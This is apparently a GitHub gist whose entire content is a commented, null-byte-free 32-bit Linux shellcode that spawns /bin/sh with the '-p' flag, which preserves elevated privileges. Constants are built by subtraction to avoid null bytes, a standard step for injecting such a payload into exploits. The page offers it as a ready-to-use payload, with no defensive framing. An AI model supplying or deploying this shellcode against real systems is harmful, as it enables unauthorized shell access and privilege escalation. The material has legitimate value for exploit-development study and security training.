Skip to content

Instantly share code, notes, and snippets.

@HunterKohler
Last active October 3, 2022 06:09
Show Gist options
  • Save HunterKohler/79e923246637fb4953661cfc95c8ab17 to your computer and use it in GitHub Desktop.
Save HunterKohler/79e923246637fb4953661cfc95c8ab17 to your computer and use it in GitHub Desktop.
execve shellcode linux 32-bit little-endian
# Shellcode (linux, 32-bit, little-endian)
# ---------
# execve("/bin/sh", { "/bin/sh", "-p" }, NULL)
start:
# Calculate and store "-p"
mov $0x0101712E, %eax
sub $0x01010101, %eax
push %eax
mov %esp, %ecx
# Calculate and store "/sh"
mov $0x01697430, %eax
sub $0x01010101, %eax
push %eax
# Immediate store "/bin"
push $0x6E69622F
# Load pathname
mov %esp, %ebx
# Add null array terminator
xor %edx, %edx
push %edx
# Store address for argv[1]
push %ecx
# Load null terminator address for envp
mov %esp, %edx
# Store address for argv[0]
push %ebx
mov %esp, %ecx
# System call 0x0B (for execve 32-bit)
mov $0x0101010C, %eax
sub $0x01010101, %eax
int $0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment